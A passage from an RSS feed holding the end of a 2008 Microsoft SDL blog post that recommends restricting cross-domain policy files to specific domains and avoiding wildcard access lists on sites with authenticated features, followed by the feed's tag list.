whether they’re Web 2.0 or 1.0.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.</FONT></P>
<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri size=3>Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.</FONT></P><img src="http://blogs.msdn.com/aggbug.aspx?PostID=7937889" width="1" height="1">]]></content:encoded>
      <pubDate>Thu, 28 Feb 2008 19:26:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/web">web</category>
      <category domain="http://securityratty.com/tag/site">site</category>
      <category domain="http://securityratty.com/tag/chriss web site">chriss web site</category>
      <category domain="http://securityratty.com/tag/mashups">mashups</category>
      <category domain="http://securityratty.com/tag/web mashups">web mashups</category>
      <category domain="http://securityratty.com/tag/site cookies">site cookies</category>
      <category domain="http://securityratty.com/tag/persistent cross-site">persistent cross-site</category>
      <category domain="http://securityratty.com/tag/cookies">cookies</category>
      <category domain="http://securityratty.com/tag/benefit anyones web">benefit anyones web</category>
      <source url="http://blogs.msdn.com/sdl/archive/2008/02/28/sdl-and-web-2-0.aspx">SDL and Web 2.0</source>
    </item>
  </channel>
</rss>
